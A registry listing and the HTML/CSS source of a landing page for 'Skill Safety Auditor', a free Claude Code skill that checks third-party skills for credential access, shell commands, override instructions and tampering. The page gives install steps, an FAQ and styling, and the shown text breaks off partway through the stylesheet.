CtrlK
BlogDocsLog inGet started
Tessl Logo

mtthwmllr/skill-safety-auditor

Audits a Claude Code skill for security risks in three modes: before download (from a URL or install command), after download but before install (from a .skill file), or after install (from a local skills directory). Use this skill whenever a user is about to install a skill from any source — including GitHub URLs, git clone commands, npx/npm commands, curl/wget downloads, pip installs, marketplace links, or raw SKILL.md URLs. Also trigger when a user asks "is this skill safe?", "should I trust this skill?", "can you check this before I install it?", "audit this skill", or pastes any link to a skill repository or .skill file. If a user mentions installing ANY skill, proactively offer to audit it first — do not wait for them to ask.

97

1.28x
Quality

97%

Does it follow best practices?

Impact

99%

1.28x

Average score across 5 eval scenarios

SecuritybySnyk

Advisory

Suggest reviewing before use

Overview
Quality
Evals
Security
Files

index.html

<!DOCTYPE html>
<html lang="en">
<head>
  <!-- Google Analytics — loads only after cookie consent -->
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}

  function loadGA() {
    if (window._gaLoaded) return;
    window._gaLoaded = true;
    var s = document.createElement('script');
    s.async = true;
    s.src = 'https://www.googletagmanager.com/gtag/js?id=G-0RPLW5GHBM';
    document.head.appendChild(s);
    gtag('js', new Date());
    gtag('config', 'G-0RPLW5GHBM', { 'anonymize_ip': true });
  }

  if (localStorage.getItem('cookie_consent') === 'accepted') {
    loadGA();
  }
</script>

  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Skill Safety Auditor — Know what a Claude Code skill does before you install it</title>
  <meta name="description" content="A free Claude Code skill that checks third-party skills for security risks before or after you install them. Looks for credential access, shell commands, and instructions that override Claude — takes under a minute.">

  <script defer src="/_vercel/speed-insights/script.js"></script>

  <link rel="canonical" href="https://skill-safety-auditor.vercel.app">

  <link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>🛡️</text></svg>">
  <link rel="apple-touch-icon" href="https://skill-safety-auditor.vercel.app/author.jpg">

  <meta property="og:type"        content="website">
  <meta property="og:url"         content="https://skill-safety-auditor.vercel.app">
  <meta property="og:title"       content="Skill Safety Auditor — Know what a Claude Code skill does before you install it">
  <meta property="og:description" content="A free Claude Code skill that checks third-party skills for security risks before or after you install them. Looks for credential access, shell commands, and instructions that override Claude — takes under a minute.">
  <meta property="og:image"       content="https://skill-safety-auditor.vercel.app/author.jpg">

  <meta name="twitter:card"        content="summary_large_image">
  <meta name="twitter:title"       content="Skill Safety Auditor — Know what a Claude Code skill does before you install it">
  <meta name="twitter:description" content="A free Claude Code skill that checks third-party skills for security risks before or after you install them. Looks for credential access, shell commands, and instructions that override Claude — takes under a minute.">
  <meta name="twitter:image"       content="https://skill-safety-auditor.vercel.app/author.jpg">

  <script type="application/ld+json">
  {
    "@context": "https://schema.org",
    "@graph": [
      {
        "@type": "SoftwareApplication",
        "name": "Skill Safety Auditor",
        "description": "A free Claude Code skill that audits other skills for security risks before or after download. Checks for credential access, shell commands, override instructions, and whether a skill matches what the original author published.",
        "applicationCategory": "SecurityApplication",
        "applicationSubCategory": "Developer Tools",
        "operatingSystem": "macOS, Windows, Linux",
        "url": "https://skill-safety-auditor.vercel.app/",
        "image": "https://skill-safety-auditor.vercel.app/author.jpg",
        "downloadUrl": "https://github.com/mtthwmllr/skill-safety-auditor/releases/latest/download/skill-safety-auditor.skill",
        "softwareVersion": "1.1.0",
        "datePublished": "2026-04-01",
        "dateModified": "2026-05-01",
        "releaseNotes": "https://github.com/mtthwmllr/skill-safety-auditor/releases",
        "featureList": [
          "Credential and API key access detection",
          "Shell command and terminal access detection",
          "Override instruction detection",
          "Source verification and tamper detection",
          "Three audit modes: pre-download, post-download, post-install",
          "14-point security checklist",
          "Plain-English severity report with remediation steps"
        ],
        "offers": { "@type": "Offer", "price": "0", "priceCurrency": "USD" },
        "author": { "@id": "#author" },
        "license": "https://opensource.org/licenses/MIT"
      },
      {
        "@type": "WebSite",
        "name": "Skill Safety Auditor",
        "description": "Know what a Claude Code skill does before you install it.",
        "url": "https://skill-safety-auditor.vercel.app/"
      },
      {
        "@type": "HowTo",
        "name": "How to install Skill Safety Auditor",
        "description": "Install the Skill Safety Auditor Claude Code skill in under a minute.",
        "totalTime": "PT1M",
        "supply": [
          { "@type": "HowToSupply", "name": "Claude Code CLI" }
        ],
        "tool": [
          { "@type": "HowToTool", "name": "Terminal (Mac) or PowerShell (Windows)" }
        ],
        "step": [
          {
            "@type": "HowToStep",
            "position": 1,
            "name": "Add the plugin from the marketplace",
            "text": "Open Terminal (Mac) or PowerShell (Windows) and run: claude plugin marketplace add mtthwmllr/skill-safety-auditor-plugin",
            "url": "https://skill-safety-auditor.vercel.app/#install"
          },
          {
            "@type": "HowToStep",
            "position": 2,
            "name": "Install the skill from the plugin",
            "text": "Run: claude plugin install skill-safety-auditor@skill-safety-auditor — when the command finishes with no error, the skill is installed.",
            "url": "https://skill-safety-auditor.vercel.app/#install"
          },
          {
            "@type": "HowToStep",
            "position": 3,
            "name": "Run an audit in Claude Code",
            "text": "Open Claude Code and tell it what to audit — paste a GitHub URL, path to a downloaded .skill file, or the path to an already-installed skill directory.",
            "url": "https://skill-safety-auditor.vercel.app/#install"
          }
        ]
      },
      {
        "@type": "FAQPage",
        "mainEntity": [
          {
            "@type": "Question",
            "name": "What is a Claude Code skill?",
            "acceptedAnswer": {
              "@type": "Answer",
              "text": "Skills are small text files that tell Claude how to behave — what tools to use, how to respond, and what to do automatically. Claude reads them as trusted instructions, the same way it reads a message from you."
            }
          },
          {
            "@type": "Question",
            "name": "What is the difference between a skill and a plugin?",
            "acceptedAnswer": {
              "@type": "Answer",
              "text": "A skill is the actual set of instructions Claude follows — a text file (or folder of files) that defines behavior, tools, and prompts. A plugin is a distribution package that makes a skill installable from the Claude Code marketplace in one command. The plugin wraps the skill and handles versioning and updates; the skill is what Claude actually reads and executes."
            }
          },
          {
            "@type": "Question",
            "name": "What security risks does Skill Safety Auditor check for?",
            "acceptedAnswer": {
              "@type": "Answer",
              "text": "Skill Safety Auditor runs 14 checks across four categories: credential and API key access, shell commands that affect your terminal, override instructions that change how Claude behaves, and source verification to confirm your copy matches what the original author published."
            }
          },
          {
            "@type": "Question",
            "name": "Do I need to install Skill Safety Auditor before I can use it to check a skill?",
            "acceptedAnswer": {
              "@type": "Answer",
              "text": "Yes, but it takes under a minute. Install it once via the Claude Code marketplace plugin or by downloading the .skill file, then use it to audit any skill before or after download."
            }
          },
          {
            "@type": "Question",
            "name": "Can I audit a skill I've already installed?",
            "acceptedAnswer": {
              "@type": "Answer",
              "text": "Yes. Point the auditor at the skill's folder in your Claude Code skills directory and it reads the live files directly. This is Mode 3 of the three audit modes."
            }
          },
          {
            "@type": "Question",
            "name": "Is Skill Safety Auditor free?",
            "acceptedAnswer": {
              "@type": "Answer",
              "text": "Yes. Skill Safety Auditor is completely free, requires no account, and returns results in under 60 seconds. It is open source under the MIT license."
            }
          },
          {
            "@type": "Question",
            "name": "Has the Skill Safety Auditor itself been audited for security?",
            "acceptedAnswer": {
              "@type": "Answer",
              "text": "Yes. The auditor has been run against itself publicly. It uses exactly three read-only tools (Read, WebFetch, Glob), contains no bundled scripts, includes explicit fetch safety boundaries and a self-audit disclaimer, and is published directly by the author with full source available on GitHub."
            }
          }
        ]
      },
      {
        "@type": "Person",
        "@id": "#author",
        "name": "Matthew Miller",
        "jobTitle": "Digital Transformation and Innovation Enablement",
        "url": "https://mtthw.ca",
        "sameAs": [
          "https://www.linkedin.com/in/mtthwmllr/",
          "https://github.com/mtthwmllr"
        ]
      }
    ]
  }
  </script>

  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  <link href="https://fonts.googleapis.com/css2?family=Instrument+Serif:ital@0;1&family=Onest:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">

  <style>
    :root {
      --bg:            #F8FAF7;
      --bg-surface:    #EFF3EC;
      --bg-card:       #FFFFFF;
      --border:        #D4DDD1;
      --border-strong: #B5C4B0;
      --text:          #1A1916;
      --text-secondary:#3D3A34;
      --text-muted:    #6B6760;
      --text-dim:      #605D58;

      --hero-bg:       #1E2D1F;
      --hero-text:     #EFF5EE;
      --hero-muted:    #87A882;

      --accent:        #3A7A54;
      --accent-hover:  #2D6042;
      --accent-light:  #E4F0E8;
      --accent-mid:    #6AAF88;

      --safe:          #15803D;
      --safe-bg:       #DCFCE7;
      --warn:          #B45309;
      --warn-bg:       #FEF3C7;
      --risk:          #B91C1C;
      --risk-bg:       #FEE2E2;

      --serif: 'Instrument Serif', Georgia, serif;
      --sans:  'Onest', -apple-system, BlinkMacSystemFont, sans-serif;
      --mono:  'JetBrains Mono', 'SF Mono', 'Fira Code', monospace;

      --radius:    8px;
      --radius-lg: 12px;
      --shadow-sm: 0 1px 3px rgba(26,25,22,.08), 0 1px 2px rgba(26,25,22,.05);
      --shadow-md: 0 4px 16px rgba(26,25,22,.10), 0 2px 6px rgba(26,25,22,.06);
      --shadow-lg: 0 8px 32px rgba(26,25,22,.12), 0 4px 12px rgba(26,25,22,.08);
    }

    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
    html { font-size: 18px; scroll-behavior: smooth; }

    body {
      background: var(--bg);
      color: var(--text);
      font-family: var(--sans);
      line-height: 1.65;
      -webkit-font-smoothing: antialiased;
    }

    /* ── Nav ─────────────────────────────────── */
    .site-nav {
      position: fixed;
      top: 0; left: 0; right: 0;
      z-index: 100;
      height: 56px;
      display: flex;
      align-items: center;
      background: rgba(30,45,31,.92);
      backdrop-filter: blur(12px);
      -webkit-backdrop-filter: blur(12px);
      border-bottom: 1px solid rgba(255,255,255,.07);
    }

    .nav-inner {
      max-width: 1100px;
      margin: 0 auto;
      padding: 0 24px;
      width: 100%;
      display: flex;
      justify-content: space-between;
      align-items: center;
    }

    .nav-brand {
      font-weight: 600;
      font-size: 0.88rem;
      color: #EFF5EE;
      text-decoration: none;
      display: flex;
      align-items: center;
      gap: 8px;
      letter-spacing: -0.01em;
      white-space: nowrap;
    }
    .nav-brand:hover { color: var(--accent-mid); text-decoration: none; }

    .nav-brand-icon {
      width: 26px; height: 26px;
      background: var(--accent);
      border-radius: 6px;
      display: flex; align-items: center; justify-content: center;
      font-size: 13px; flex-shrink: 0;
    }

    .nav-links { display: flex; gap: 16px; align-items: center; }

    .nav-links a {
      font-size: 0.82rem;
      color: #87A882;
      text-decoration: none;
      font-weight: 500;
      transition: color .15s;
    }
    .nav-links a:hover { color: #F1F5F9; }

    .nav-cta {
      background: transparent !important;
      color: #94A3B8 !important;
      border: 1px solid rgba(255,255,255,.14);
      padding: 6px 14px;
      border-radius: var(--radius);
      font-weight: 500 !important;
      transition: all .15s !important;
    }
    .nav-cta:hover {
      background: rgba(255,255,255,.07) !important;
      border-color: rgba(255,255,255,.25) !important;
      color: #F1F5F9 !important;
    }

    @media (max-width: 860px) {
      .nav-links a:not(.nav-cta):not(.nav-github-btn) { display: none; }
    }

    /* ── GitHub dropdown ─────────────────────── */
    .nav-github-dropdown {
      position: relative;
    }

    .nav-github-btn {
      cursor: pointer;
      font-family: var(--sans);
    }

    .nav-github-menu {
      display: none;
      position: absolute;
      top: calc(100% + 10px);
      right: 0;
      min-width: 220px;
      background: #1A2A1B;
      border: 1px solid rgba(255,255,255,.12);
      border-radius: var(--radius-lg);
      overflow: hidden;
      box-shadow: 0 8px 24px rgba(0,0,0,.35);
      z-index: 200;
    }

    .nav-github-menu.open { display: block; }

    .nav-github-menu a {
      display: flex;
      flex-direction: column;
      gap: 2px;
      padding: 14px 18px;
      text-decoration: none;
      transition: background .12s;
      border-bottom: 1px solid rgba(255,255,255,.06);
    }
    .nav-github-menu a:last-child { border-bottom: none; }
    .nav-github-menu a:hover { background: rgba(255,255,255,.07); }

    .ngm-label {
      font-size: 0.82rem;
      font-weight: 600;
      color: #EFF5EE;
      letter-spacing: -.01em;
    }
    .ngm-desc {
      font-family: var(--mono);
      font-size: 0.65rem;
      color: #6A9E72;
    }

    /* ── Layout ──────────────────────────────── */
    .container { max-width: 760px; margin: 0 auto; padding: 0 24px; }

    section { padding: 80px 0; border-bottom: 1px solid var(--border); }
    section:last-of-type { border-bottom: none; }

    /* ── Typography ──────────────────────────── */
    h1 {
      font-family: var(--serif);
      font-size: clamp(2.4rem, 5.5vw, 3.6rem);
      font-weight: 400;
      line-height: 1.15;
      letter-spacing: -.01em;
      color: var(--hero-text);
    }
    h1 em { font-style: italic; }

    h2 {
      font-size: 1.3rem;
      font-weight: 600;
      color: var(--text);
      letter-spacing: -.02em;
      margin-bottom: 16px;
      line-height: 1.3;
    }

    .section-eyebrow {
      font-size: 0.68rem;
      font-weight: 700;
      color: var(--accent);
      text-transform: uppercase;
      letter-spacing: .14em;
      margin-bottom: 12px;
    }

    h3 {
      font-size: 1.1rem;
      font-weight: 600;
      color: var(--text);
      letter-spacing: -.02em;
      margin-bottom: 14px;
      line-height: 1.3;
    }

    p { color: var(--text-secondary); margin-bottom: 16px; }
    p:last-child { margin-bottom: 0; }
    strong { color: var(--text); font-weight: 600; }

    a { color: var(--accent); text-decoration: none; transition: color .15s; }
    a:hover { color: var(--accent-hover); text-decoration: underline; }

    /* ── Buttons ─────────────────────────────── */
    .btn {
      display: inline-flex;
      align-items: center;
      gap: 6px;
      padding: 11px 22px;
      border-radius: var(--radius);
      font-family: var(--sans);
      font-size: 0.9rem;
      font-weight: 600;
      cursor: pointer;
      transition: all .15s;
      text-decoration: none;
      white-space: nowrap;
      border: none;
    }

    .btn-primary {
      background: var(--accent);
      color: #fff;
      box-shadow: 0 2px 8px rgba(58,122,84,.28);
    }
    .btn-primary:hover {
      background: var(--accent-hover);
      box-shadow: 0 4px 16px rgba(58,122,84,.36);
      transform: translateY(-1px);
      text-decoration: none;
      color: #fff;
    }

    .btn-ghost {
      background: rgba(255,255,255,.08);
      color: var(--hero-text);
      border: 1px solid rgba(255,255,255,.15);
    }
    .btn-ghost:hover {
      background: rgba(255,255,255,.13);
      border-color: rgba(255,255,255,.25);
      text-decoration: none;
      color: var(--hero-text);
    }

    .btn-secondary {
      background: transparent;
      color: var(--text-muted);
      border: 1.5px solid var(--border-strong);
    }
    .btn-secondary:hover {
      border-color: var(--text-muted);
      color: var(--text);
      text-decoration: none;
    }

    /* ── Hero ────────────────────────────────── */
    #hero {
      padding: 0;
      border-bottom: 1px solid rgba(255,255,255,.06);
      background: var(--hero-bg);
      position: relative;
      overflow: hidden;
      margin-top: 56px;
    }

    .hero-grid-bg {
      display: none;
    }

    .hero-glow {
      position: absolute;
      top: -100px;
      left: 40%;
      transform: translateX(-50%);
      width: 800px; height: 600px;
      background: radial-gradient(ellipse at center, rgba(58,122,84,.20) 0%, rgba(45,96,66,.05) 45%, transparent 70%);
      pointer-events: none;
    }

    .hero-glow-2 {
      position: absolute;
      bottom: -80px;
      right: 5%;
      width: 400px; height: 400px;
      background: radial-gradient(ellipse at center, rgba(106,175,136,.07) 0%, transparent 65%);
      pointer-events: none;
    }

    .hero-inner {
      position: relative;
      z-index: 1;
      padding: 80px 24px 88px;
      max-width: 760px;
      margin: 0 auto;
    }

    .eyebrow {
      display: inline-flex;
      align-items: center;
      gap: 8px;
      font-family: var(--mono);
      font-size: 0.66rem;
      color: #A5C9B0;
      letter-spacing: .12em;
      text-transform: uppercase;
      margin-bottom: 28px;
      background: rgba(58,122,84,.12);
      border: 1px solid rgba(106,175,136,.25);
      padding: 6px 14px;
      border-radius: 100px;
    }

    .eyebrow-dot {
      width: 6px; height: 6px;
      background: #6AAF88;
      border-radius: 50%;
      animation: blink 2.4s ease-in-out infinite;
    }

    @keyframes blink {
      0%, 100% { opacity: 1; }
      50% { opacity: .35; }
    }

    .hero-sub {
      font-size: 1.05rem;
      color: var(--hero-muted);
      margin: 22px 0 36px;
      max-width: 580px;
      line-height: 1.75;
    }
    .hero-sub strong { color: var(--hero-text); font-weight: 600; }

    .cta-group {
      display: flex;
      gap: 12px;
      flex-wrap: wrap;
      align-items: center;
    }

    .trust-row {
      margin-top: 20px;
      font-size: 0.76rem;
      color: var(--hero-muted);
      display: flex;
      align-items: center;
      gap: 8px;
      flex-wrap: wrap;
    }
    .trust-sep {
      width: 3px; height: 3px;
      border-radius: 50%;
      background: #2D3D2E;
      display: inline-block;
    }


    /* ── Risk list ───────────────────────────── */
    .risk-list {
      list-style: none;
      display: flex;
      flex-direction: column;
      gap: 10px;
      margin-top: 12px;
    }

    .risk-list li {
      display: flex;
      gap: 14px;
      align-items: flex-start;
      padding: 18px 20px;
      background: var(--bg-card);
      border: 1.5px solid var(--border);
      border-radius: var(--radius-lg);
      font-size: 0.88rem;
      color: var(--text-secondary);
      line-height: 1.65;
      box-shadow: var(--shadow-sm);
      transition: all .2s;
    }
    .risk-list li:hover {
      box-shadow: var(--shadow-md);
      border-color: var(--border-strong);
      transform: translateY(-1px);
    }

    .risk-icon {
      flex-shrink: 0;
      width: 34px; height: 34px;
      background: var(--risk-bg);
      border-radius: 8px;
      display: flex; align-items: center; justify-content: center;
      font-size: 15px;
    }

    /* ── How it works ────────────────────────── */
    #how-it-works { background: var(--bg-surface); }

    .modes {
      display: grid;
      grid-template-columns: 1fr 1fr;
      gap: 14px;
      margin-bottom: 40px;
    }
    .modes.three {
      grid-template-columns: 1fr;
      gap: 10px;
    }

    @media (max-width: 680px) {
      .modes { grid-template-columns: 1fr; }
    }

    .mode-card {
      background: var(--bg-card);
      border: 1.5px solid var(--border);
      border-radius: var(--radius-lg);
      padding: 22px 24px;
      box-shadow: var(--shadow-sm);
      transition: all .2s;
    }
    .mode-card:hover {
      box-shadow: var(--shadow-md);
      border-color: var(--accent);
      transform: translateY(-2px);
    }
    .mode-card--static:hover {
      box-shadow: var(--shadow-sm);
      border-color: var(--border);
      transform: none;
      cursor: default;
    }

    .mode-label {
      font-family: var(--mono);
      font-size: 0.62rem;
      color: var(--accent);
      letter-spacing: .1em;
      text-transform: uppercase;
      margin-bottom: 8px;
      display: block;
    }

    .mode-card h4 {
      font-size: 0.97rem;
      font-weight: 600;
      color: var(--text);
      margin-bottom: 8px;
      line-height: 1.4;
    }

    .mode-card p { font-size: 0.84rem; color: var(--text-muted); margin: 0 0 12px; }
    .mode-card p:last-child { margin-bottom: 0; }
    .mode-card .pre-wrap { margin-top: 4px; }

    /* Checks grid */
    .checks-grid {
      display: grid;
      grid-template-columns: 1fr 1fr;
      gap: 12px;
      margin-bottom: 36px;
    }
    @media (max-width: 560px) { .checks-grid { grid-template-columns: 1fr; } }

    .check-item {
      background: var(--bg-card);
      border: 1.5px solid var(--border);
      border-radius: var(--radius-lg);
      padding: 18px;
      box-shadow: var(--shadow-sm);
      transition: all .2s;
    }
    .check-item:hover { box-shadow: var(--shadow-md); border-color: var(--border-strong); }

    .check-icon { font-size: 20px; margin-bottom: 10px; display: block; }

    .check-item h4 {
      font-size: 0.88rem;
      font-weight: 600;
      color: var(--text);
      margin-bottom: 5px;
    }
    .check-item p { font-size: 0.8rem; color: var(--text-muted); margin: 0; line-height: 1.55; }

    /* Severity */
    .severity-cards { display: flex; flex-direction: column; gap: 10px; }

    .severity-card {
      display: flex;
      gap: 16px;
      align-items: center;
      padding: 14px 18px;
      border: 1.5px solid var(--border);
      border-radius: var(--radius);
      background: var(--bg-card);
      transition: box-shadow .2s;
    }
    .severity-card:hover { box-shadow: var(--shadow-sm); }

    .severity-card-content { flex: 1; }
    .severity-card-title { font-size: 0.85rem; font-weight: 600; color: var(--text); margin-bottom: 2px; }
    .severity-card-desc { font-size: 0.8rem; color: var(--text-muted); line-height: 1.5; }
    .severity-card-action { font-size: 0.78rem; color: var(--text-dim); font-style: italic; white-space: nowrap; }

    .badge {
      display: inline-flex;
      align-items: center;
      gap: 5px;
      font-size: 0.7rem;
      font-weight: 700;
      padding: 4px 10px;
      border-radius: 100px;
      white-space: nowrap;
      letter-spacing: .03em;
      flex-shrink: 0;
    }
    .badge-risk { background: var(--risk-bg); color: var(--risk); border: 1px solid #FECACA; }
    .badge-warn { background: var(--warn-bg); color: var(--warn); border: 1px solid #FDE68A; }
    .badge-safe { background: var(--safe-bg); color: var(--safe); border: 1px solid #BBF7D0; }

    /* ── Terminal ────────────────────────────── */
    .terminal {
      background: #0D1410;
      border: 1px solid #1A2A1B;
      border-radius: var(--radius-lg);
      overflow: hidden;
      box-shadow: var(--shadow-lg);
    }

    .terminal-bar {
      background: #152516;
      padding: 10px 16px;
      display: flex;
      align-items: center;
      gap: 10px;
      border-bottom: 1px solid #1A2A1B;
    }

    .terminal-dots { display: flex; gap: 6px; }
    .terminal-dot {
      width: 10px; height: 10px;
      border-radius: 50%;
    }
    .td-r { background: #FF5F57; }
    .td-y { background: #FFBD2E; }
    .td-g { background: #28C840; }

    .terminal-title {
      font-family: var(--mono);
      font-size: 0.66rem;
      color: #6A9E72;
      flex: 1;
      text-align: center;
    }

    .terminal-body {
      padding: 22px 24px;
      font-family: var(--mono);
      font-size: 0.74rem;
      line-height: 1.8;
      color: #7A9A80;
      white-space: pre-wrap;
      overflow-wrap: break-word;
      max-height: 500px;
      overflow-y: auto;
    }

    .t-title  { color: #C8DEC9; font-weight: 500; }
    .t-sep    { color: #1E3020; }
    .t-label  { color: #7BAA85; }
    .t-val    { color: #8FC9A0; }
    .t-danger { color: #F87171; font-weight: 600; }
    .t-warn   { color: #FCD34D; }
    .t-safe   { color: #34D399; }
    .t-key    { color: #7EC8A0; }
    .t-dim    { color: #7A9A80; }

    /* Report links */
    .report-links {
      display: grid;
      grid-template-columns: 1fr 1fr;
      gap: 12px;
      margin-top: 20px;
    }
    @media (max-width: 560px) { .report-links { grid-template-columns: 1fr; } }

    .report-link-card {
      display: flex;
      flex-direction: column;
      padding: 20px 22px;
      background: var(--bg-card);
      border: 1.5px solid var(--border);
      border-radius: var(--radius-lg);
      text-decoration: none;
      transition: all .2s;
      box-shadow: var(--shadow-sm);
    }
    .report-link-card:hover {
      box-shadow: var(--shadow-md);
      border-color: var(--border-strong);
      transform: translateY(-2px);
      text-decoration: none;
    }

    .rlc-label {
      display: block;
      font-size: 0.62rem;
      font-weight: 700;
      color: var(--accent);
      text-transform: uppercase;
      letter-spacing: .12em;
      margin-bottom: 5px;
    }
    .rlc-title {
      display: block;
      font-size: 0.88rem;
      font-weight: 600;
      color: var(--text);
      margin-bottom: 6px;
      line-height: 1.4;
    }
    .rlc-desc {
      display: block;
      font-size: 0.8rem;
      color: var(--text-muted);
      line-height: 1.55;
      flex: 1;
      margin-bottom: 16px;
    }
    .rlc-arrow {
      display: inline-flex;
      align-items: center;
      gap: 6px;
      align-self: flex-start;
      font-size: 0.82rem;
      font-weight: 600;
      color: #fff;
      background: var(--accent);
      padding: 7px 14px;
      border-radius: var(--radius);
      box-shadow: 0 2px 6px rgba(58,122,84,.22);
      transition: background .15s, gap .15s, box-shadow .15s;
    }
    .report-link-card:hover .rlc-arrow {
      background: var(--accent-hover);
      gap: 9px;
      box-shadow: 0 3px 10px rgba(58,122,84,.32);
    }

    /* ── Self audit ──────────────────────────── */
    #self-audit { background: var(--bg-surface); }

    .audit-grid {
      display: grid;
      grid-template-columns: 1fr 1fr;
      gap: 12px;
      margin-top: 24px;
    }
    @media (max-width: 560px) { .audit-grid { grid-template-columns: 1fr; } }

    .audit-card {
      background: var(--bg-card);
      border: 1.5px solid var(--border);
      border-radius: var(--radius-lg);
      padding: 18px 20px;
      box-shadow: var(--shadow-sm);
    }
    .audit-card-icon { font-size: 18px; margin-bottom: 8px; display: block; }
    .audit-card h4 { font-size: 0.85rem; font-weight: 600; color: var(--text); margin-bottom: 5px; }
    .audit-card p { font-size: 0.82rem; color: var(--text-muted); margin: 0; line-height: 1.55; }

    .verdict-block {
      margin-top: 16px;
      padding: 16px 20px;
      background: var(--safe-bg);
      border: 1.5px solid #BBF7D0;
      border-radius: var(--radius-lg);
      font-size: 0.9rem;
      color: var(--safe);
      font-weight: 600;
      line-height: 1.6;
    }

    /* ── Install tabs ───────────────────────── */
    .install-tabs {
      display: flex;
      gap: 4px;
      margin-bottom: 28px;
      background: var(--bg-surface);
      border: 1.5px solid var(--border);
      border-radius: var(--radius-lg);
      padding: 4px;
      width: fit-content;
    }

    .tab-btn {
      padding: 8px 18px;
      border-radius: calc(var(--radius-lg) - 2px);
      font-family: var(--sans);
      font-size: 0.84rem;
      font-weight: 600;
      border: none;
      cursor: pointer;
      background: transparent;
      color: var(--text-muted);
      transition: all .15s;
      line-height: 1.4;
    }
    .tab-btn:hover { color: var(--text); }
    .tab-btn.active {
      background: var(--bg-card);
      color: var(--text);
      box-shadow: var(--shadow-sm);
      border: 1.5px solid var(--border);
    }

    .tab-panel {
      display: none;
      opacity: 0;
      transform: translateY(6px);
    }
    .tab-panel.active {
      display: block;
      animation: tabFadeIn .22s ease forwards;
      background: var(--bg-card);
      border: 1.5px solid var(--border);
      border-radius: var(--radius-lg);
      padding: 28px 28px 32px;
      box-shadow: var(--shadow-sm);
    }
    @keyframes tabFadeIn {
      from { opacity: 0; transform: translateY(6px); }
      to   { opacity: 1; transform: translateY(0); }
    }

    .plugin-badge {
      display: inline-flex;
      align-items: center;
      gap: 6px;
      font-size: 0.72rem;
      font-weight: 700;
      color: var(--accent);
      background: var(--accent-light);
      border: 1px solid #B8D4BC;
      padding: 3px 10px;
      border-radius: 100px;
      letter-spacing: .04em;
      margin-bottom: 16px;
    }

    /* ── Install ─────────────────────────────── */
    .prereq-card {
      background: var(--bg-card);
      border: 1.5px solid var(--border);
      border-left: 4px solid var(--accent);
      border-radius: 0 var(--radius-lg) var(--radius-lg) 0;
      padding: 22px 24px;
      margin-bottom: 32px;
      box-shadow: var(--shadow-sm);
    }
    .prereq-card p { font-size: 0.88rem; margin-bottom: 10px; }
    .prereq-card p:last-child { margin-bottom: 0; }

    .steps { display: flex; flex-direction: column; gap: 24px; margin-top: 24px; }

    .step { display: flex; gap: 20px; align-items: flex-start; }

    .step-num {
      flex-shrink: 0;
      width: 32px; height: 32px;
      background: var(--accent);
      border-radius: 50%;
      display: flex; align-items: center; justify-content: center;
      font-family: var(--mono);
      font-size: 0.72rem;
      color: #fff;
      font-weight: 700;
      margin-top: 2px;
    }

    .step-body { flex: 1; }
    .step-body > p { font-size: 0.9rem; margin-bottom: 10px; }

    code {
      font-family: var(--mono);
      font-size: .82em;
      background: var(--accent-light);
      border: 1px solid #B8D4BC;
      padding: 2px 6px;
      border-radius: 4px;
      color: var(--accent-hover);
    }

    .pre-wrap { position: relative; margin-top: 8px; }

    pre {
      background: #F7F8F9;
      border: 1.5px solid var(--border);
      border-radius: var(--radius);
      padding: 14px 52px 14px 16px;
      font-family: var(--mono);
      font-size: 0.76rem;
      color: var(--text-secondary);
      overflow-x: auto;
      line-height: 1.7;
      white-space: pre-wrap;
      overflow-wrap: break-word;
    }

    .copy-btn {
      position: absolute;
      top: 8px; right: 8px;
      background: var(--bg-card);
      border: 1.5px solid #96938E;
      border-radius: 6px;
      padding: 4px 10px;
      font-family: var(--mono);
      font-size: 0.62rem;
      color: var(--text-muted);
      cursor: pointer;
      transition: all .15s;
    }
    .copy-btn:hover {
      background: var(--accent-light);
      border-color: var(--accent);
      color: var(--accent-hover);
    }
    .copy-btn.copied {
      background: var(--safe-bg);
      border-color: #BBF7D0;
      color: var(--safe);
    }

    .os-label {
      font-size: 0.7rem;
      font-weight: 600;
      color: var(--text-muted);
      text-transform: uppercase;
      letter-spacing: .07em;
      margin: 14px 0 5px;
    }

    .divider { height: 1px; background: var(--border); margin: 36px 0; }

    /* ── FAQ ─────────────────────────────────── */
    #faq { background: #E6EDE3; }

    .faq-list { display: flex; flex-direction: column; gap: 8px; margin-top: 8px; }

    .faq-item {
      background: var(--bg-card);
      border: 1.5px solid var(--border);
      border-radius: var(--radius-lg);
      overflow: hidden;
      box-shadow: var(--shadow-sm);
      transition: border-color .2s, box-shadow .2s;
    }
    .faq-item.open { border-color: var(--border-strong); box-shadow: var(--shadow-md); }

    .faq-question {
      width: 100%;
      display: flex;
      justify-content: space-between;
      align-items: center;
      gap: 16px;
      padding: 18px 20px;
      background: none;
      border: none;
      cursor: pointer;
      text-align: left;
      font-family: var(--sans);
      font-size: 0.92rem;
      font-weight: 600;
      color: var(--text);
      line-height: 1.4;
      transition: background .15s;
    }
    .faq-question:hover { background: var(--bg-surface); }

    .faq-chevron {
      flex-shrink: 0;
      width: 20px; height: 20px;
      display: flex; align-items: center; justify-content: center;
      color: var(--text-muted);
      transition: transform .22s ease;
    }
    .faq-item.open .faq-chevron { transform: rotate(180deg); }

    .faq-answer {
      display: grid;
      grid-template-rows: 0fr;
      transition: grid-template-rows .22s ease;
    }
    .faq-item.open .faq-answer { grid-template-rows: 1fr; }

    .faq-answer-inner {
      overflow: hidden;
      padding: 0 20px;
      font-size: 0.88rem;
      color: var(--text-muted);
      line-height: 1.7;
    }
    .faq-item.open .faq-answer-inner { padding: 0 20px 18px; }

    /* ── About ───────────────────────────────── */
    .about-inner { display: flex; gap: 28px; align-items: flex-start; }

    .author-photo {
      width: 80px; height: 80px;
      border-radius: 50%;
      object-fit: cover;
      object-position: center top;
      flex-shrink: 0;
      border: 2px solid var(--border);
      box-shadow: var(--shadow-sm);
    }

    .about-name { font-size: 0.95rem; font-weight: 600; color: var(--text); margin-bottom: 8px; }
    .about-body p { font-size: 0.88rem; color: var(--text-muted); margin-bottom: 12px; }

    .about-links { display: flex; gap: 20px; flex-wrap: wrap; margin-top: 4px; }
    .about-links a { font-size: 0.85rem; font-weight: 600; color: var(--accent); }

    @media (max-width: 520px) {
      .about-inner { flex-direction: column; gap: 20px; }
    }

    /* ── Footer ──────────────────────────────── */
    footer {
